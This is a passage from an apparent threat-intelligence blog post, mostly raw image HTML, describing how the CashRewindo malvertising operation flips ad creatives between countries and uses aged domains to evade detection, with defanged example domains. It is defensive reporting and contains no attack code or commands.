https://substackcdn.com/image/fetch/$s_!PWoP!,w_848,c_limit,f_webp,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F55dea635-5479-4685-94de-9ca7aaeac36e_210x175.gif 848w, https://substackcdn.com/image/fetch/$s_!PWoP!,w_1272,c_limit,f_webp,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F55dea635-5479-4685-94de-9ca7aaeac36e_210x175.gif 1272w, https://substackcdn.com/image/fetch/$s_!PWoP!,w_1456,c_limit,f_webp,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F55dea635-5479-4685-94de-9ca7aaeac36e_210x175.gif 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!PWoP!,w_1456,c_limit,f_auto,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F55dea635-5479-4685-94de-9ca7aaeac36e_210x175.gif" width="320" height="266.66666666666663" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/55dea635-5479-4685-94de-9ca7aaeac36e_210x175.gif&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:175,&quot;width&quot;:210,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!PWoP!,w_424,c_limit,f_auto,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F55dea635-5479-4685-94de-9ca7aaeac36e_210x175.gif 424w, https://substackcdn.com/image/fetch/$s_!PWoP!,w_848,c_limit,f_auto,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F55dea635-5479-4685-94de-9ca7aaeac36e_210x175.gif 848w, https://substackcdn.com/image/fetch/$s_!PWoP!,w_1272,c_limit,f_auto,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F55dea635-5479-4685-94de-9ca7aaeac36e_210x175.gif 1272w, https://substackcdn.com/image/fetch/$s_!PWoP!,w_1456,c_limit,f_auto,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F55dea635-5479-4685-94de-9ca7aaeac36e_210x175.gif 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!snRQ!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc53968fb-f0c3-41d8-ae17-f58ebf8bdfbf_210x175.gif" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!snRQ!,w_424,c_limit,f_webp,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc53968fb-f0c3-41d8-ae17-f58ebf8bdfbf_210x175.gif 424w, https://substackcdn.com/image/fetch/$s_!snRQ!,w_848,c_limit,f_webp,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc53968fb-f0c3-41d8-ae17-f58ebf8bdfbf_210x175.gif 848w, https://substackcdn.com/image/fetch/$s_!snRQ!,w_1272,c_limit,f_webp,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc53968fb-f0c3-41d8-ae17-f58ebf8bdfbf_210x175.gif 1272w, https://substackcdn.com/image/fetch/$s_!snRQ!,w_1456,c_limit,f_webp,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc53968fb-f0c3-41d8-ae17-f58ebf8bdfbf_210x175.gif 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!snRQ!,w_1456,c_limit,f_auto,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc53968fb-f0c3-41d8-ae17-f58ebf8bdfbf_210x175.gif" width="320" height="266.66666666666663" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/c53968fb-f0c3-41d8-ae17-f58ebf8bdfbf_210x175.gif&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:175,&quot;width&quot;:210,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!snRQ!,w_424,c_limit,f_auto,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc53968fb-f0c3-41d8-ae17-f58ebf8bdfbf_210x175.gif 424w, https://substackcdn.com/image/fetch/$s_!snRQ!,w_848,c_limit,f_auto,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc53968fb-f0c3-41d8-ae17-f58ebf8bdfbf_210x175.gif 848w, https://substackcdn.com/image/fetch/$s_!snRQ!,w_1272,c_limit,f_auto,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc53968fb-f0c3-41d8-ae17-f58ebf8bdfbf_210x175.gif 1272w, https://substackcdn.com/image/fetch/$s_!snRQ!,w_1456,c_limit,f_auto,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc53968fb-f0c3-41d8-ae17-f58ebf8bdfbf_210x175.gif 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!Ss-x!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5facd4cd-246f-4606-8e35-8d169c567eea_224x224.gif" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!Ss-x!,w_424,c_limit,f_webp,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5facd4cd-246f-4606-8e35-8d169c567eea_224x224.gif 424w, https://substackcdn.com/image/fetch/$s_!Ss-x!,w_848,c_limit,f_webp,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5facd4cd-246f-4606-8e35-8d169c567eea_224x224.gif 848w, https://substackcdn.com/image/fetch/$s_!Ss-x!,w_1272,c_limit,f_webp,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5facd4cd-246f-4606-8e35-8d169c567eea_224x224.gif 1272w, https://substackcdn.com/image/fetch/$s_!Ss-x!,w_1456,c_limit,f_webp,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5facd4cd-246f-4606-8e35-8d169c567eea_224x224.gif 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!Ss-x!,w_1456,c_limit,f_auto,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5facd4cd-246f-4606-8e35-8d169c567eea_224x224.gif" width="320" height="320" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/5facd4cd-246f-4606-8e35-8d169c567eea_224x224.gif&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:224,&quot;width&quot;:224,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!Ss-x!,w_424,c_limit,f_auto,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5facd4cd-246f-4606-8e35-8d169c567eea_224x224.gif 424w, https://substackcdn.com/image/fetch/$s_!Ss-x!,w_848,c_limit,f_auto,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5facd4cd-246f-4606-8e35-8d169c567eea_224x224.gif 848w, https://substackcdn.com/image/fetch/$s_!Ss-x!,w_1272,c_limit,f_auto,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5facd4cd-246f-4606-8e35-8d169c567eea_224x224.gif 1272w, https://substackcdn.com/image/fetch/$s_!Ss-x!,w_1456,c_limit,f_auto,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5facd4cd-246f-4606-8e35-8d169c567eea_224x224.gif 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!nuZW!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd0c1388c-e0de-494e-ac97-de6c254979db_1014x124.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!nuZW!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd0c1388c-e0de-494e-ac97-de6c254979db_1014x124.png 424w, https://substackcdn.com/image/fetch/$s_!nuZW!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd0c1388c-e0de-494e-ac97-de6c254979db_1014x124.png 848w, https://substackcdn.com/image/fetch/$s_!nuZW!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd0c1388c-e0de-494e-ac97-de6c254979db_1014x124.png 1272w, https://substackcdn.com/image/fetch/$s_!nuZW!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd0c1388c-e0de-494e-ac97-de6c254979db_1014x124.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!nuZW!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd0c1388c-e0de-494e-ac97-de6c254979db_1014x124.png" width="1014" height="124" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/d0c1388c-e0de-494e-ac97-de6c254979db_1014x124.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:124,&quot;width&quot;:1014,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!nuZW!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd0c1388c-e0de-494e-ac97-de6c254979db_1014x124.png 424w, https://substackcdn.com/image/fetch/$s_!nuZW!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd0c1388c-e0de-494e-ac97-de6c254979db_1014x124.png 848w, https://substackcdn.com/image/fetch/$s_!nuZW!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd0c1388c-e0de-494e-ac97-de6c254979db_1014x124.png 1272w, https://substackcdn.com/image/fetch/$s_!nuZW!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd0c1388c-e0de-494e-ac97-de6c254979db_1014x124.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!sTx-!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffa7776b7-ce7c-4969-b010-b161b3422031_679x175.gif" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!sTx-!,w_424,c_limit,f_webp,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffa7776b7-ce7c-4969-b010-b161b3422031_679x175.gif 424w, https://substackcdn.com/image/fetch/$s_!sTx-!,w_848,c_limit,f_webp,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffa7776b7-ce7c-4969-b010-b161b3422031_679x175.gif 848w, https://substackcdn.com/image/fetch/$s_!sTx-!,w_1272,c_limit,f_webp,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffa7776b7-ce7c-4969-b010-b161b3422031_679x175.gif 1272w, https://substackcdn.com/image/fetch/$s_!sTx-!,w_1456,c_limit,f_webp,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffa7776b7-ce7c-4969-b010-b161b3422031_679x175.gif 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!sTx-!,w_1456,c_limit,f_auto,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffa7776b7-ce7c-4969-b010-b161b3422031_679x175.gif" width="679" height="175" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/fa7776b7-ce7c-4969-b010-b161b3422031_679x175.gif&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:175,&quot;width&quot;:679,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!sTx-!,w_424,c_limit,f_auto,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffa7776b7-ce7c-4969-b010-b161b3422031_679x175.gif 424w, https://substackcdn.com/image/fetch/$s_!sTx-!,w_848,c_limit,f_auto,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffa7776b7-ce7c-4969-b010-b161b3422031_679x175.gif 848w, https://substackcdn.com/image/fetch/$s_!sTx-!,w_1272,c_limit,f_auto,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffa7776b7-ce7c-4969-b010-b161b3422031_679x175.gif 1272w, https://substackcdn.com/image/fetch/$s_!sTx-!,w_1456,c_limit,f_auto,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffa7776b7-ce7c-4969-b010-b161b3422031_679x175.gif 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!Sur4!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fda4f26b8-d700-4e82-891d-ca2de6d404bf_510x63.gif" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!Sur4!,w_424,c_limit,f_webp,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fda4f26b8-d700-4e82-891d-ca2de6d404bf_510x63.gif 424w, https://substackcdn.com/image/fetch/$s_!Sur4!,w_848,c_limit,f_webp,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fda4f26b8-d700-4e82-891d-ca2de6d404bf_510x63.gif 848w, https://substackcdn.com/image/fetch/$s_!Sur4!,w_1272,c_limit,f_webp,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fda4f26b8-d700-4e82-891d-ca2de6d404bf_510x63.gif 1272w, https://substackcdn.com/image/fetch/$s_!Sur4!,w_1456,c_limit,f_webp,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fda4f26b8-d700-4e82-891d-ca2de6d404bf_510x63.gif 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!Sur4!,w_1456,c_limit,f_auto,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fda4f26b8-d700-4e82-891d-ca2de6d404bf_510x63.gif" width="510" height="63" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/da4f26b8-d700-4e82-891d-ca2de6d404bf_510x63.gif&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:63,&quot;width&quot;:510,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!Sur4!,w_424,c_limit,f_auto,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fda4f26b8-d700-4e82-891d-ca2de6d404bf_510x63.gif 424w, https://substackcdn.com/image/fetch/$s_!Sur4!,w_848,c_limit,f_auto,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fda4f26b8-d700-4e82-891d-ca2de6d404bf_510x63.gif 848w, https://substackcdn.com/image/fetch/$s_!Sur4!,w_1272,c_limit,f_auto,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fda4f26b8-d700-4e82-891d-ca2de6d404bf_510x63.gif 1272w, https://substackcdn.com/image/fetch/$s_!Sur4!,w_1456,c_limit,f_auto,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fda4f26b8-d700-4e82-891d-ca2de6d404bf_510x63.gif 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>Here&#8217;s a precise example of creative flipping: the domain <em>webprolix[.]com </em>was observed in the UK with the fake ad, and a few hours later switched to targeting Poland with the scam creative.</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!M_1o!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd5affc3e-f6a5-49be-9b3f-bd19668889c1_235x196.gif" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!M_1o!,w_424,c_limit,f_webp,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd5affc3e-f6a5-49be-9b3f-bd19668889c1_235x196.gif 424w, https://substackcdn.com/image/fetch/$s_!M_1o!,w_848,c_limit,f_webp,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd5affc3e-f6a5-49be-9b3f-bd19668889c1_235x196.gif 848w, https://substackcdn.com/image/fetch/$s_!M_1o!,w_1272,c_limit,f_webp,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd5affc3e-f6a5-49be-9b3f-bd19668889c1_235x196.gif 1272w, https://substackcdn.com/image/fetch/$s_!M_1o!,w_1456,c_limit,f_webp,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd5affc3e-f6a5-49be-9b3f-bd19668889c1_235x196.gif 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!M_1o!,w_1456,c_limit,f_auto,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd5affc3e-f6a5-49be-9b3f-bd19668889c1_235x196.gif" width="320" height="266.8936170212766" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/d5affc3e-f6a5-49be-9b3f-bd19668889c1_235x196.gif&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:196,&quot;width&quot;:235,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!M_1o!,w_424,c_limit,f_auto,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd5affc3e-f6a5-49be-9b3f-bd19668889c1_235x196.gif 424w, https://substackcdn.com/image/fetch/$s_!M_1o!,w_848,c_limit,f_auto,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd5affc3e-f6a5-49be-9b3f-bd19668889c1_235x196.gif 848w, https://substackcdn.com/image/fetch/$s_!M_1o!,w_1272,c_limit,f_auto,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd5affc3e-f6a5-49be-9b3f-bd19668889c1_235x196.gif 1272w, https://substackcdn.com/image/fetch/$s_!M_1o!,w_1456,c_limit,f_auto,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd5affc3e-f6a5-49be-9b3f-bd19668889c1_235x196.gif 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a><figcaption class="image-caption"><em>webprolix[.]com; </em>target: UK</figcaption></figure></div><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!DWQh!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5d6c5db2-6301-4fc6-91a5-25b1cda00569_210x175.gif" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!DWQh!,w_424,c_limit,f_webp,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5d6c5db2-6301-4fc6-91a5-25b1cda00569_210x175.gif 424w, https://substackcdn.com/image/fetch/$s_!DWQh!,w_848,c_limit,f_webp,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5d6c5db2-6301-4fc6-91a5-25b1cda00569_210x175.gif 848w, https://substackcdn.com/image/fetch/$s_!DWQh!,w_1272,c_limit,f_webp,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5d6c5db2-6301-4fc6-91a5-25b1cda00569_210x175.gif 1272w, https://substackcdn.com/image/fetch/$s_!DWQh!,w_1456,c_limit,f_webp,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5d6c5db2-6301-4fc6-91a5-25b1cda00569_210x175.gif 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!DWQh!,w_1456,c_limit,f_auto,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5d6c5db2-6301-4fc6-91a5-25b1cda00569_210x175.gif" width="320" height="266.66666666666663" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/5d6c5db2-6301-4fc6-91a5-25b1cda00569_210x175.gif&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:175,&quot;width&quot;:210,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!DWQh!,w_424,c_limit,f_auto,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5d6c5db2-6301-4fc6-91a5-25b1cda00569_210x175.gif 424w, https://substackcdn.com/image/fetch/$s_!DWQh!,w_848,c_limit,f_auto,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5d6c5db2-6301-4fc6-91a5-25b1cda00569_210x175.gif 848w, https://substackcdn.com/image/fetch/$s_!DWQh!,w_1272,c_limit,f_auto,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5d6c5db2-6301-4fc6-91a5-25b1cda00569_210x175.gif 1272w, https://substackcdn.com/image/fetch/$s_!DWQh!,w_1456,c_limit,f_auto,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5d6c5db2-6301-4fc6-91a5-25b1cda00569_210x175.gif 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a><figcaption class="image-caption"><em>webprolix[.]com; </em>target: Poland</figcaption></figure></div><h2><strong>The Infrastructure</strong></h2><p>Apart from A/B-testing campaigns and in so doing abusing time-based creative verification systems, <em><strong>CashRewindo</strong></em> has yet another trick up its sleeves: <strong>domain aging.</strong></p><p>Most of the IOCs we collected have domains that were registered two or three years ago, only to be activated, i.e. certificates updated and virtual server assigned, just in time for the campaigns. We speculate that either they buy these from reputation-building markets, or wait around for them to age, likely the former. Being outsourced or not, this technique is able to bypass security systems that classify registration timing as reputable.</p><h2><strong>The Specimen: </strong><em><strong>thesellotto[.]com</strong></em></h2><p>Let&#8217;s now take a look at one sample from <em><strong>CashRewindo</strong></em> and dissect its operation.</p><div 